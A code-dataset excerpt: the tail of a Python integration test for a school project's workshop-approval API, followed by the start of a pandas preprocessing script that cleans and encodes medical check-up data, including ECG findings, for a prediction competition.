everyone'), 'agreementFile.pdf'),\n agreementDescription=\"Some description\",\n planningMeetingFile=(io.BytesIO(b'hi everyone'),\n 'planningMeetingFile.pdf'),\n planningMeetingDescription=\"Some description\",\n teachersMeetingFile=(io.BytesIO(b'hi everyone'),\n 'teachersMeetingFile.pdf'),\n teachersMeetingDescription=\"Some description\"\n )\n # lapse 1\n res = self.client().post(\n '/pecasetting/initialworkshop/1',\n data=requestData,\n content_type='multipart/form-data')\n self.assertEqual(res.status_code, 200)\"\"\"\n\n requestData = {\n \"id\": 'initialWorkshop',\n \"lapse\": \"1\",\n \"isStandard\": True,\n \"status\": \"1\"\n }\n res = self.client().post(\n '/pecasetting/activities',\n data=json.dumps(requestData),\n content_type='application/json')\n self.assertEqual(res.status_code, 200)\n\n # check initial workshop on peca\n res = self.client().get(\n '/pecaprojects/{}'.format(self.pecaProject.id)\n )\n self.assertEqual(res.status_code, 200)\n result = json.loads(res.data.decode('utf8').replace(\"'\", '\"'))\n self.assertIsNotNone(\n result['lapse1']['initialWorkshop'])\n\n # update planning data initial workshop in peca\n requestData = {\n \"workshopPlace\": \"Some place\",\n \"workshopDate\": datetime.utcnow().strftime('%Y-%m-%d %H:%M:%SZ'),\n }\n res = self.client().post(\n '/pecaprojects/initialworkshop/{}/{}?userId={}'.format(\n self.pecaProject.id, 1, self.coordinator.id),\n data=json.dumps(requestData),\n content_type='application/json')\n self.assertEqual(res.status_code, 200)\n\n # check peca\n res = self.client().get(\n '/pecaprojects/{}'.format(self.pecaProject.id)\n )\n self.assertEqual(res.status_code, 200)\n resultPeca = json.loads(res.data.decode('utf8').replace(\"'\", '\"'))\n self.assertEqual('Some place',\n resultPeca['lapse1']['initialWorkshop']['workshopPlace'])\n\n # update data initial workshop in peca\n requestData = {\n \"description\": \"new description\",\n \"images\": [\n {\n \"image\": test_image,\n \"description\": \"some image description\",\n \"status\": \"1\"\n },\n {\n \"image\": test_image,\n \"description\": \"some image2 description\",\n \"status\": \"1\"\n }\n ]\n }\n res = self.client().post(\n '/pecaprojects/initialworkshop/{}/{}?userId={}'.format(\n self.pecaProject.id, 1, self.coordinator.id),\n data=json.dumps(requestData),\n content_type='application/json')\n self.assertEqual(res.status_code, 200)\n\n # check peca\n res = self.client().get(\n '/pecaprojects/{}'.format(self.pecaProject.id)\n )\n self.assertEqual(res.status_code, 200)\n resultPeca = json.loads(res.data.decode('utf8').replace(\"'\", '\"'))\n self.assertEqual('some image2 description',\n resultPeca['lapse1']['initialWorkshop']['approvalHistory'][0]['detail']['images'][1]['description'])\n\n # send with pending approval\n res = self.client().post(\n '/pecaprojects/initialworkshop/{}/{}?userId={}'.format(\n self.pecaProject.id, 1, self.coordinator.id),\n data=json.dumps(requestData),\n content_type='application/json')\n self.assertEqual(res.status_code, 400)\n\n \"\"\"# edit initialWorkshop\n requestData = dict(\n agreementFile=(io.BytesIO(b'hi everyone'), 'agreementFile.pdf'),\n agreementDescription=\"Some edited description\",\n planningMeetingFile=(io.BytesIO(b'hi everyone'),\n 'planningMeetingFile.pdf'),\n planningMeetingDescription=\"Some description\",\n teachersMeetingFile=(io.BytesIO(b'hi everyone'),\n 'teachersMeetingFile.pdf'),\n teachersMeetingDescription=\"Some description\"\n )\n\n res = self.client().post(\n '/pecasetting/initialworkshop/1',\n data=requestData,\n content_type='multipart/form-data')\n self.assertEqual(res.status_code, 200)\n\n # check peca\n res = self.client().get(\n '/pecaprojects/{}'.format(self.pecaProject.id)\n )\n self.assertEqual(res.status_code, 200)\n resultPeca = json.loads(res.data.decode('utf8').replace(\"'\", '\"'))\n self.assertEqual('Some edited description',\n resultPeca['lapse1']['initialWorkshop']['agreementDescription'])\n self.assertEqual(None, resultPeca['lapse1']\n ['initialWorkshop']['description'])\n \"\"\"\n\n # approve request\n requestData = {\n \"status\": \"2\"\n }\n res = self.client().put(\n '/requestscontentapproval/{}'.format(\n resultPeca['lapse1']['initialWorkshop']['approvalHistory'][0]['id']),\n data=json.dumps(requestData),\n content_type='application/json')\n self.assertEqual(res.status_code, 200)\n\n # check peca\n res = self.client().get(\n '/pecaprojects/{}'.format(self.pecaProject.id)\n )\n self.assertEqual(res.status_code, 200)\n resultPeca = json.loads(res.data.decode('utf8').replace(\"'\", '\"'))\n self.assertEqual(\n \"new description\", resultPeca['lapse1']['initialWorkshop']['description'])\n\n # cancel request\n requestData = {\n \"description\": \"new description\",\n \"images\": [\n {\n \"image\": test_image,\n \"description\": \"some image description\",\n \"status\": \"1\"\n },\n {\n \"image\": test_image,\n \"description\": \"some image2 description\",\n \"status\": \"1\"\n }\n ]\n }\n res = self.client().post(\n '/pecaprojects/initialworkshop/{}/{}?userId={}'.format(\n self.pecaProject.id, 1, self.coordinator.id),\n data=json.dumps(requestData),\n content_type='application/json')\n self.assertEqual(res.status_code, 200)\n\n # check peca\n res = self.client().get(\n '/pecaprojects/{}'.format(self.pecaProject.id)\n )\n self.assertEqual(res.status_code, 200)\n resultPeca = json.loads(res.data.decode('utf8').replace(\"'\", '\"'))\n self.assertEqual(True,\n resultPeca['lapse1']['initialWorkshop']['isInApproval'])\n\n # cancel\n requestData = {\n \"status\": \"4\"\n }\n res = self.client().put(\n '/requestscontentapproval/{}'.format(\n resultPeca['lapse1']['initialWorkshop']['approvalHistory'][1]['id']),\n data=json.dumps(requestData),\n content_type='application/json')\n self.assertEqual(res.status_code, 200)\n\n # check peca\n res = self.client().get(\n '/pecaprojects/{}'.format(self.pecaProject.id)\n )\n self.assertEqual(res.status_code, 200)\n resultPeca = json.loads(res.data.decode('utf8').replace(\"'\", '\"'))\n self.assertEqual(False,\n resultPeca['lapse1']['initialWorkshop']['isInApproval'])\n self.assertEqual(\"4\",\n resultPeca['lapse1']['initialWorkshop']['approvalHistory'][1]['status'])\n\n def tearDown(self):\n \"\"\"teardown all initialized variables.\"\"\"\n self.db.connection.drop_database('amblema_testing')\n","repo_name":"amblemaorg/amblema---backend","sub_path":"app/tests/integration/peca_initial_workshop_test.py","file_name":"peca_initial_workshop_test.py","file_ext":"py","file_size_in_byte":13607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74109927388","text":"import time\nimport pandas as pd\nfrom pandas.api.types import is_numeric_dtype\nimport numpy as np\nimport re\nimport sys \nimport requests\nimport time\nimport itertools\nimport shutil\nimport os\n\nDIR_DATA = '../data/'\nDATA_PART1 = '../data/meinian_round1_data_part1_20180408.txt'\nDATA_PART2 = '../data/meinian_round1_data_part2_20180408.txt'\nDATA_TRAIN_Y = '../data/meinian_round1_train_20180408.csv'\nDATA_TEST_Y = '../data/meinian_round1_test_b_20180505.csv'\nCACHE_X_RAW = '../data/cache/tmp.csv'\nCACHE_X_NUM_TEXT = '../data/cache/train_num_text.csv'\nCACHE_X_TEXT = '../data/cache/train_text.csv'\nCACHE_LABLE = '../data/cache/lable.csv'\nCACHE_X_ALL = '../data/cache/train_all.csv'\nCACHE_X_LAST = '../data/cache/train_final.csv'\n\n\nNUM_FOLDS=5\n\ndef merge_table(df):\n df['field_results'] = df['field_results'].astype(str)\n if df.shape[0] > 1:\n merge_df = \" \".join(list(df['field_results']))\n else:\n merge_df = df['field_results'].values[0]\n return merge_df\n\ndef merge_raw_data():\n if os.path.isfile(CACHE_X_RAW):\n print('Load X_row from cache!')\n return pd.read_csv(CACHE_X_RAW,index_col=0,low_memory=False)\n else:\n part_1 = pd.read_csv(DATA_PART1,sep='$')\n part_2 = pd.read_csv(DATA_PART2,sep='$')\n part_1_2 = pd.concat([part_1,part_2])\n part_1_2 = pd.DataFrame(part_1_2).sort_values('vid').reset_index(drop=True)\n is_happen = part_1_2.groupby(['vid','table_id']).size().reset_index()\n\n # 重塑index用来去重\n is_happen['new_index'] = is_happen['vid'] + '_' + is_happen['table_id']\n is_happen_new = is_happen[is_happen[0]>1]['new_index']\n part_1_2['new_index'] = part_1_2['vid'] + '_' + part_1_2['table_id']\n unique_part = part_1_2[part_1_2['new_index'].isin(list(is_happen_new))]\n unique_part = unique_part.sort_values(['vid','table_id'])\n no_unique_part = part_1_2[~part_1_2['new_index'].isin(list(is_happen_new))]\n part_1_2_not_unique = unique_part.groupby(['vid','table_id']).apply(merge_table).reset_index()\n part_1_2_not_unique.rename(columns={0:'field_results'},inplace=True)\n tmp = pd.concat([part_1_2_not_unique,no_unique_part[['vid','table_id','field_results']]])\n # # 行列转换shiftdim\n tmp = tmp.pivot(index='vid',values='field_results',columns='table_id')\n tmp.to_csv(CACHE_X_RAW)\n print('X_raw has been saved {}'.format(CACHE_X_RAW))\n return tmp\n\ndef strQ2B(ustring):\n \"\"\"全角转半角\"\"\"\n if isinstance(ustring, float) or isinstance(ustring, int) or ustring is None:\n return ustring\n rstring = \"\"\n for uchar in ustring:\n inside_code=ord(uchar)\n if inside_code == 12288: #全角空格直接转换 \n inside_code = 32 \n elif (inside_code >= 65281 and inside_code <= 65374): #全角字符(除空格)根据关系转化\n inside_code -= 65248\n rstring += chr(inside_code)\n return rstring\n\ndef change_norom(df_in):\n df=df_in.copy()\n df.loc[:,'2406']=df['2406'].replace(\"-90\",np.nan)\n df.loc[:,'2403']=df['2403'].replace(\"0\",np.nan)\n df.loc[:,'2403']=df['2403'].replace(\"4.3\",43)\n df.loc[:,'2403']=df['2403'].replace(\"5.3\",53)\n df.loc[:,'2404']=df['2404'].replace(\"0\",np.nan)\n df.loc[:,'2405']=df['2405'].replace(\"0\",np.nan)\n df.loc[:,:] = df.replace('nan',np.nan)\n return df\n\n##转化成flaot\ndef data_clean(df):\n fl_col = []\n str_col = []\n for c in df.columns:\n try:\n df.loc[:,c] = df[c].astype('float32')\n fl_col.append(c)\n except:\n str_col.append(c)\n return fl_col, str_col\n \n##区分数值和文本列\ndef split_cols(tmp):\n df=tmp.copy()\n digit = re.compile(r\"\\d+\\.?\\d?\")\n h = re.compile(u\"[\\u4E00-\\u9FA5]+\")\n cols_num,cols_num_text,cols_text,matched=[],[],[],[]\n \n for col in df.columns:\n if df[col].dtype==\"object\":\n s = \"\\t\".join(df[col].astype(str).tolist())\n num = digit.findall(s)\n num2 = h.findall(s)\n if len(num2)>len(num):\n cols_text.append(col)\n #pass\n elif len(num) > 1000:\n matched.append(col)\n else:matched.append(col)\n df_num_all = df[matched]\n df_num_all = change_norom(df_num_all)\n df_num_cols = data_clean(df_num_all)\n cols_num = df_num_cols[0]\n cols_num_text = df_num_cols[1]\n return cols_num,cols_num_text,cols_text,df\n\n#白细胞数目\ndef datCl_HP(data_input1_df,colname_temp):\n if colname_temp in data_input1_df.columns:\n col_temp = data_input1_df[colname_temp]\n new_value_empty = [( info1 == 'nan') for info1 in col_temp]\n new_value_0 = []\n for i in range(len(new_value_empty)) :\n new_value_0.append( not new_value_empty[i] )\n new_value_1 = []\n sum_1 = 0\n count_1 = 0\n for i in col_temp[new_value_0]:\n subNum_1 = re.findall(r\"\\d+\\.?\\d*\",str(i))\n if len(subNum_1) > 1:\n subNum_2 = sum([float(temp) for temp in subNum_1])/len(subNum_1)\n elif len(subNum_1) == 1:\n subNum_2 = float(subNum_1[0])\n elif ((\"-\" in str(i)) | (\"未见\" in str(i)) | (\"未检出\" in str(i)) | (\"阴性\" in str(i)) | (\"偶见\" in str(i))| (\"少许\" in str(i))):\n subNum_2 = 0\n elif ((\"阳性\" in str(i)) | (\"++\" in str(i)) | (\"Ⅱ\" in str(i))):\n subNum_2 = 10\n elif (\"满视野\" in str(i)):\n subNum_2 = 100\n else:\n subNum_2 = 'nan'\n new_value_1.append(subNum_2) \n data_input1_df.loc[new_value_0,colname_temp] = new_value_1\n return data_input1_df\n\n##心跳次数\ndef datCl_HeaRhy(data_input1_df,colname_temp):\n if colname_temp in data_input1_df.columns:\n col_temp = data_input1_df[colname_temp]\n new_value_empty = [((info1 == 'nan') | (info1 == '0') ) for info1 in col_temp]\n new_value_0 = []\n for i in range(len(new_value_empty)) :\n new_value_0.append( not new_value_empty[i] )\n new_value_1 = []\n sum_1 = 0\n count_1 = 0\n for i in col_temp[new_value_0]:\n subNum_1 = re.findall(r\"\\d+\\.?\\d*\",str(i))\n if len(subNum_1) > 1:\n if((\"<60次/分\" in str(i)) | (\">100次/分\" in str(i))):\n subNum_m2 = float(subNum_1[1])\n else: \n subNum_m2 = sum([float(temp) for temp in subNum_1])/len(subNum_1)\n elif len(subNum_1) == 1:\n if(\"<60次/分\" in str(i)):\n subNum_m2=55\n elif(\">100次/分\" in str(i)):\n subNum_m2=105\n else:\n subNum_m2 = float(subNum_1[0])\n elif len(subNum_1) == 0:\n if (\"心动过缓\" in str(i)):\n subNum_m2 = 55\n elif (\"心动过速\" in str(i)):\n subNum_m2 = 105\n else:\n subNum_m2 = 80 \n new_value_1.append(subNum_m2)\n data_input1_df.loc[new_value_0,colname_temp] = new_value_1\n return data_input1_df\n\n###模式替换成捕获值函数\ndef re_place(x,pattern):\n match=pattern.search(x)\n if match:\n x = match.group(1)\n return x\n\n###模式替换成捕获值平均值函数\ndef re_place3(x,pattern):\n match=pattern.search(x)\n if match:\n x=(float(match.group(1))+float(match.group(2)))/2\n return x\n\ndef replace_some_letter(s):\n s = s.apply(strQ2B)\n s = s.astype(str)\n s = s.str.replace(\"\\.\\.\",\".\").str.replace(\",\",\".\")\n s[s.str.contains('0\\.\\-3|\\.45\\.21|\\.3\\.700|\\.0\\.04|1、7\\.71|2\\.792\\.20|0\\.00\\-25\\.00|16\\.7\\.07|\\+|\\*', na=False)] = np.nan\n s[s.str.contains('未见|阴性|少量', na=False)] = 0\n s = s.str.extract('([-+]?\\d*\\.\\d+|\\d+)', expand=False).astype(float)\n return s\n\n##数值文本列处理\ndef process_num_col(df_num_text):\n if os.path.isfile(CACHE_X_NUM_TEXT):\n print('Load processed num text cols from cache!')\n return pd.read_csv(CACHE_X_NUM_TEXT,index_col=0)\n \n print('process num text cols')\n df=df_num_text.copy()\n df['0424'].fillna='nan'\n df['300036'].fillna='nan'\n df=datCl_HeaRhy(df,'0424')\n df=datCl_HP(df,'300036') \n df[df=='nan'] = np.nan\n df[df=='-'] = 0\n \n z = df.values\n for line in z:\n for num in range(len(line)):\n elem = line[num]\n try:\n float(elem)\n except:\n elem=re_place(str(elem),re.compile(r'(\\d+.\\d+?)\\s+弃查'))\n elem=re_place(str(elem),re.compile(r'(\\d+.\\d+?)\\s+未查'))\n elem=re_place(str(elem),re.compile(r'未查\\s+(\\d+.\\d+?)'))\n elem=re_place(str(elem),re.compile(r'弃查\\s+(\\d+.\\d+?)')) \n elem=re_place(str(elem),re.compile(r'\\d+\\-\\d+\\s+(\\d+\\.\\d+|\\d+)'))\n elem=re_place3(str(elem),re.compile(r'(\\d+\\.\\d+|\\d+)\\-(\\d+\\.\\d+|\\d+)'))\n elem=re_place3(str(elem),re.compile(r'(\\d+\\.\\d+|\\d+)\\s+(\\d+\\.\\d+|\\d+)'))\n line[num]=elem\n df = pd.DataFrame(z,index=df.index,columns=df.columns)\n for col in df.columns:\n df[col] = replace_some_letter(df[col])\n df.to_csv(CACHE_X_NUM_TEXT)\n return df\n\n############ 文本部分数据处理func ################################\n##心率归类\ndef datCl_Arhy(data_input1_df,colname_temp):\n if colname_temp in data_input1_df.columns:\n\n col_temp = data_input1_df[colname_temp]\n new_value_empty = [((str(info1) == \"NaN\") | ((\"详见纸质报告\" in str(info1)))) for info1 in col_temp]\n \n new_value_1_1 = [(\"右房异常\" in str(info1)) for info1 in col_temp ]\n new_value_1_2 = [(\"右心房负荷过重\" in str(info1)) for info1 in col_temp ]\n new_value_1_3 = [(\"右心房肥大\" in str(info1)) for info1 in col_temp ]\n new_value_1_4 = [(\"左房异常\" in str(info1)) for info1 in col_temp ]\n new_value_1_5 = [(\"左心房负荷过重\" in str(info1)) for info1 in col_temp ]\n new_value_1_6 = [(\"左心房肥大\" in str(info1)) for info1 in col_temp ]\n new_value_1_7 = [(\"右室高电压\" in str(info1)) for info1 in col_temp ]\n new_value_1_8 = [((\"右心室肥大\" in str(info1)) | (\"右心室肥厚\" in str(info1))) for info1 in col_temp ]\n new_value_1_9 = [(\"左室高电压\" in str(info1)) for info1 in col_temp ]\n new_value_1_10 = [((\"左心室肥大\" in str(info1)) | (\"左心室肥厚\" in str(info1))) for info1 in col_temp ]\n data_input1_df['avh']=0\n data_input1_df.loc[new_value_1_1,'avh'] = 1\n data_input1_df.loc[new_value_1_2,'avh'] = 2\n data_input1_df.loc[new_value_1_3,'avh'] = 3\n data_input1_df.loc[new_value_1_4,'avh'] = 4\n data_input1_df.loc[new_value_1_5,'avh'] = 5\n data_input1_df.loc[new_value_1_6,'avh'] = 6\n data_input1_df.loc[new_value_1_7,'avh'] = 7\n data_input1_df.loc[new_value_1_8,'avh'] = 8\n data_input1_df.loc[new_value_1_9,'avh'] = 9\n data_input1_df.loc[new_value_1_10,'avh'] = 10\n data_input1_df.loc[new_value_empty,'avh'] = np.nan\n \n \n new_value_2_1 = [((\"供血不足\" in str(info1))| (\"心肌供血不足\" in str(info1)) | (\"疑似心肌缺血\" in str(info1))) for info1 in col_temp ]\n new_value_2_2 = [((\"心肌缺血\" in str(info1)) & (\"疑似心肌缺血\" not in str(info1))) for info1 in col_temp ]\n new_value_2_3 = [(\"心肌梗塞\" in str(info1)) for info1 in col_temp ]\n new_value_2_4 = [(\"心肌梗死\" in str(info1)) for info1 in col_temp ]\n new_value_2_5 = [((\"早期复极综合征\" in str(info1))|(\"过早复极\" in str(info1))) for info1 in col_temp ]\n data_input1_df['myocardium']=0\n data_input1_df.loc[new_value_2_1,'myocardium'] = 1\n data_input1_df.loc[new_value_2_2,'myocardium'] = 2\n data_input1_df.loc[new_value_2_3,'myocardium'] = 3\n data_input1_df.loc[new_value_2_4,'myocardium'] = 4\n data_input1_df.loc[new_value_2_5,'myocardium'] = 5\n data_input1_df.loc[new_value_empty,'myocardium'] = np.nan\n \n new_value_3_1 = [((\"正常心电图\" in str(info1)) | (\"心电图未发现明显异常\" in str(info1))) for info1 in col_temp ]\n new_value_3_2 = [((\"大致正常心电图\" in str(info1)) | (\"窦房结\" in str(info1))) for info1 in col_temp ]\n new_value_3_3 = [(\"窦性心律\" in str(info1)) for info1 in col_temp ]\n new_value_3_5 = [(\"肢体导联低电压\" in str(info1)) for info1 in col_temp ]\n new_value_3_6 = [((\"冠状窦性心律\" in str(info1))|(\"冠状静脉窦节律\" in str(info1))|(\"冠状静脉窦心律\" in str(info1))) for info1 in col_temp ]\n new_value_3_7 = [(\"窦性心律不齐\" in str(info1)) for info1 in col_temp ]\n new_value_3_8 = [((\"窦性心动过缓\" in str(info1)) & (\"正常心电图\" not in str(info1))) for info1 in col_temp ]\n new_value_3_9 = [((\"窦性心动过速\" in str(info1)) & (\"正常心电图\" not in str(info1))) for info1 in col_temp ]\n new_value_3_10 = [(\"心电轴右偏\" in str(info1)) for info1 in col_temp ]\n new_value_3_11 = [(\"心电轴左偏\" in str(info1)) for info1 in col_temp ]\n new_value_3_12 = [((\"交界性心律\" in str(info1)) | (\"交界性心动过速\" in str(info1))) for info1 in col_temp ]\n new_value_3_13 = [(\"窦性停搏\" in str(info1)) for info1 in col_temp ]\n new_value_3_14 = [((\"病窦综合征\" in str(info1))| (\"3S综合征\" in str(info1))| (\"SISIISIII综合征\" in str(info1))) for info1 in col_temp ]\n new_value_3_15 = [(\"左房心律\" in str(info1)) for info1 in col_temp ] \n new_value_3_16 = [((\"偶发房性早搏\" in str(info1)) | (\"偶发室性早搏\" in str(info1))) for info1 in col_temp ]\n new_value_3_17 = [((\"间位性室性早搏\" in str(info1)) | (\"交界性早搏\" in str(info1)) | (\"房性早搏\" in str(info1)) | (\"室性早搏\" in str(info1)) & (\"偶发房性早搏\" not in str(info1)) & (\"偶发室性早搏\" not in str(info1))) for info1 in col_temp ]\n new_value_3_18 = [((\"频发房性早搏\" in str(info1)) | (\"频发室性早搏\" in str(info1))) for info1 in col_temp ]\n new_value_3_19 = [(\"房扑\" in str(info1)) for info1 in col_temp ]\n new_value_3_20 = [((\"房颤\" in str(info1)) | (\"心房纤颤\" in str(info1))) for info1 in col_temp ]\n new_value_3_21 = [((\"起搏器心律\" in str(info1))| (\"起搏心律\" in str(info1))) for info1 in col_temp ]\n new_value_3_4 = []\n for i in range(len(new_value_3_1)) :\n new_value_3_4.append( ( not new_value_3_1[i] ) and ( not new_value_3_2[i] ) and ( not new_value_3_3[i] ) and ( not new_value_3_5[i] ) and ( not new_value_3_6[i] ) and ( not new_value_3_6[i] ) and ( not new_value_3_7[i] ) and ( not new_value_3_8[i] ) and ( not new_value_3_9[i] ) and ( not new_value_3_10[i] ) and ( not new_value_3_11[i] ) and ( not new_value_3_12[i] ) and ( not new_value_3_13[i] ) and ( not new_value_3_14[i] ) and ( not new_value_3_15[i] ) and ( not new_value_3_16[i] ) and ( not new_value_3_17[i] ) and ( not new_value_3_18[i] ) and ( not new_value_3_19[i] ) and ( not new_value_3_20[i] ) and ( not new_value_3_21[i] ) and ( not new_value_empty[i] )) \n\n data_input1_df['heart_rate']=0\n data_input1_df.loc[new_value_3_3,'heart_rate'] = 3\n data_input1_df.loc[new_value_3_1,'heart_rate'] = 1\n data_input1_df.loc[new_value_3_2,'heart_rate'] = 2 \n data_input1_df.loc[new_value_3_4,'heart_rate'] = 4\n data_input1_df.loc[new_value_3_5,'heart_rate'] = 5\n data_input1_df.loc[new_value_3_6,'heart_rate'] = 6\n data_input1_df.loc[new_value_3_7,'heart_rate'] = 7\n data_input1_df.loc[new_value_3_8,'heart_rate'] = 8\n data_input1_df.loc[new_value_3_9,'heart_rate'] = 9\n data_input1_df.loc[new_value_3_10,'heart_rate'] = 10\n data_input1_df.loc[new_value_3_11,'heart_rate'] = 11\n data_input1_df.loc[new_value_3_12,'heart_rate'] = 12\n data_input1_df.loc[new_value_3_13,'heart_rate'] = 13 \n data_input1_df.loc[new_value_3_14,'heart_rate'] = 14\n data_input1_df.loc[new_value_3_15,'heart_rate'] = 15\n data_input1_df.loc[new_value_3_16,'heart_rate'] = 16\n data_input1_df.loc[new_value_3_17,'heart_rate'] = 17\n data_input1_df.loc[new_value_3_18,'heart_rate'] = 18\n data_input1_df.loc[new_value_3_19,'heart_rate'] = 19\n data_input1_df.loc[new_value_3_20,'heart_rate'] = 20\n data_input1_df.loc[new_value_empty,'heart_rate'] = np.nan\n \n new_value_4_1 = [((\"左前分支传导阻滞\" in str(info1)) | ((\"左后分支传导阻滞\" in str(info1)))) for info1 in col_temp ]\n new_value_4_2 = [(\"完全性左束支传导阻滞\" in str(info1)) for info1 in col_temp ]\n new_value_4_3 = [(\"不完全性左束支传导阻滞\" in str(info1)) for info1 in col_temp ]\n new_value_4_4 = [(\"完全性右束支传导阻滞\" in str(info1)) for info1 in col_temp ]\n new_value_4_5 = [(\"不完全性右束支传导阻滞\" in str(info1)) for info1 in col_temp ]\n data_input1_df['lbbb']=0\n data_input1_df.loc[new_value_4_1,'lbbb'] = 1\n data_input1_df.loc[new_value_4_2,'lbbb'] = 2\n data_input1_df.loc[new_value_4_3,'lbbb'] = 3\n data_input1_df.loc[new_value_4_4,'lbbb'] = 4\n data_input1_df.loc[new_value_4_5,'lbbb'] = 5\n data_input1_df.loc[new_value_empty,'lbbb'] = np.nan\n \n new_value_5_1 = [((\"Ⅰ度房室传导阻滞\" in str(info1)) | (\"I度房室传导阻滞\" in str(info1))) for info1 in col_temp ]\n new_value_5_2 = [((\"Ⅱ度Ⅰ型房室传导阻滞\" in str(info1)) | (\"Ⅱ度房室传导阻滞\" in str(info1))) for info1 in col_temp ]\n new_value_5_3 = [(\"Ⅱ度Ⅱ型窦房传导阻滞\" in str(info1)) for info1 in col_temp ]\n new_value_5_4 = [((\"Ⅲ度房室传导阻滞\" in str(info1))) for info1 in col_temp ]\n new_value_5_5 = [((\"非典型预激LG\" in str(info1)) | (\"w-p-w综合 征\" in str(info1)) | (\"预激综合征\" in str(info1)) | (\"心室预激\" in str(info1)) | (\"短P-R间期综合征\" in str(info1)) ) for info1 in col_temp ]\n data_input1_df['atrioventricular_block']=0\n data_input1_df.loc[new_value_5_1,'atrioventricular_block'] = 1\n data_input1_df.loc[new_value_5_2,'atrioventricular_block'] = 2\n data_input1_df.loc[new_value_5_3,'atrioventricular_block'] = 3\n data_input1_df.loc[new_value_5_4,'atrioventricular_block'] = 4\n data_input1_df.loc[new_value_5_5,'atrioventricular_block'] = 5\n data_input1_df.loc[new_value_empty,'atrioventricular_block'] = np.nan\n \n data_input1_df['ecg'] = data_input1_df['avh']+data_input1_df['myocardium']+data_input1_df['lbbb']+data_input1_df['atrioventricular_block']\n data_input1_df['lbbb_atrioventricular'] = data_input1_df['lbbb']+data_input1_df['atrioventricular_block']\n return data_input1_df\n\n\n##健康状态分类\ndef datCl_Healt(data_input1_df,colname_temp):\n\n if colname_temp in data_input1_df.columns:\n col_temp = data_input1_df[colname_temp]\n\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [((\"健康\" in str(info1)) | (\"正\" in str(info1)) | (\"阴\" in str(info1)) | (\"-\" in str(info1)) | (\"未见异常\" in str(info1)) ) &\n ((\"+\" not in str(info1)) & (\"肥\" not in str(info1)) & (\"亚\" not in str(info1))) for info1 in col_temp ]\n new_value_2 = [((\"疾病\" in str(info1)) | (\"+\" in str(info1)) | (\"阳\" in str(info1)) ) & (\"-\" not in str(info1)) for info1 in col_temp ]\n new_value_3 = [(\"亚\" in str(info1)) for info1 in col_temp ]\n new_value_confused = []\n for i in range(len(new_value_1)) :\n new_value_confused.append( ( not new_value_1[i] ) and ( not new_value_2[i] ) and ( not new_value_3[i] ) and ( not new_value_empty[i] ))\n\n data_input1_df.loc[new_value_1,colname_temp] = 0\n data_input1_df.loc[new_value_2,colname_temp] = 1\n data_input1_df.loc[new_value_3,colname_temp] = 2\n data_input1_df.loc[new_value_confused,colname_temp] = np.nan\n\n return data_input1_df\n\n###阴阳性结果分类\ndef datCl_Degree(data_input1_df,colname_temp):\n\n if colname_temp in data_input1_df.columns:\n col_temp = data_input1_df[colname_temp]\n\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [((str(info1).count('I') == 1) | (str(info1).count('Ⅰ') == 1) | (str(info1).count('i') == 1) ) &\n ((str(info1).count('V') < 1) & (str(info1).count('v') < 1) ) for info1 in col_temp ]\n new_value_2 = [((str(info1).count('I') == 2) | (str(info1).count('Ⅰ') == 2) | (str(info1).count('i') == 2) |\n (str(info1).count('Ⅱ') == 1) | (str(info1).count('II') == 1)| (str(info1).count('ii') == 1)) &\n ((str(info1).count('V') < 1) & (str(info1).count('v') < 1) ) for info1 in col_temp ]\n new_value_3 = [((str(info1).count('I') == 3) | (str(info1).count('Ⅰ') == 3) | (str(info1).count('i') == 3) |\n (str(info1).count('Ⅲ') == 1) | (str(info1).count('III') == 1)| (str(info1).count('iii') == 1)) &\n ((str(info1).count('V') < 1) & (str(info1).count('v') < 1) ) for info1 in col_temp ]\n new_value_4 = [((\"Ⅳ\" in str(info1)) |\n (\"Ⅰv\" in str(info1)) | (\"ⅠV\" in str(info1)) |\n (\"Iv\" in str(info1)) | (\"IV\" in str(info1)) | (\"iv\" in str(info1)) | (\"iV\" in str(info1)) ) for info1 in col_temp ]\n\n new_value_2_1 = [((\"normal\" in str(info1).lower()) | (\"未\" in str(info1)) | (\"正\" in str(info1)) | (\"阴\" in str(info1)) | (\"-\" in str(info1)) | (\"未见\" in str(info1)) ) & (\"+\" not in str(info1)) for info1 in col_temp ]\n new_value_2_2 = [((\"+\" in str(info1)) | (\"阳\" in str(info1)) ) for info1 in col_temp ]\n\n\n new_value_confused = []\n for i in range(len(new_value_1)) :\n new_value_confused.append( ( not new_value_1[i] ) and ( not new_value_2[i] ) and ( not new_value_3[i] ) and ( not new_value_4[i] ) and\n ( not new_value_2_1[i] ) and ( not new_value_2_2[i] ) and ( not new_value_empty[i] ))\n\n data_input1_df.loc[new_value_1,colname_temp] = 1\n data_input1_df.loc[new_value_2,colname_temp] = 2\n data_input1_df.loc[new_value_3,colname_temp] = 3\n data_input1_df.loc[new_value_4,colname_temp] = 4\n data_input1_df.loc[new_value_2_1,colname_temp] = 0\n data_input1_df.loc[new_value_2_2,colname_temp] = 1\n data_input1_df.loc[new_value_confused,colname_temp] = np.nan\n\n return data_input1_df\n\n####阴阳性分等级3194\ndef datCl_Degree2(data_input1_df,colname_temp):\n if colname_temp in data_input1_df.columns:\n col_temp = data_input1_df[colname_temp]\n new_value_empty = [str(info1) == \"NaN\" for info1 in col_temp]\n new_value_1 = [((str(info1)==\"0-1\")| (str(info1)==\"0个/LP\")| (str(info1)==\"0-2\")| (str(info1)==\"0-2\")| (str(info1)==\"0-1/HP\")| (str(info1)==\"1-3/HP\")| (str(info1)==\"0-1/lp\")| (str(info1)==\"0\")| (str(info1)==\"1\")| (str(info1)==\"2\")| (str(info1)==\"3\")|(\"偶见\" in str(info1))| (\"未见\" in str(info1))| (\"无\" in str(info1))| (\"未检出\" in str(info1)) | (\"Normal\" in str(info1))| (\"正常\" in str(info1))|(str(info1)==\"4\") | (\"-\" in str(info1)) | (\"阴性\" in str(info1)) ) for info1 in col_temp ]\n new_value_2 = [((\"1-3/HP\" in str(info1))|(\"3-4/HP\" in str(info1))|(\"+-\" in str(info1))|(\"查见\" in str(info1))|(\"少见\" in str(info1))|(\"少数\" in str(info1))) for info1 in col_temp ]\n new_value_3 = [((\"+\" in str(info1))|(\"检出\" in str(info1))|(\"检到\" in str(info1))|(\"阳性\" in str(info1))) for info1 in col_temp ]\n new_value_4 = [((\"2+\" in str(info1))|(\"+2\" in str(info1))|(\"2+\" in str(info1))|(\"++\" in str(info1))|(\"透明\" in str(info1))) for info1 in col_temp ]\n 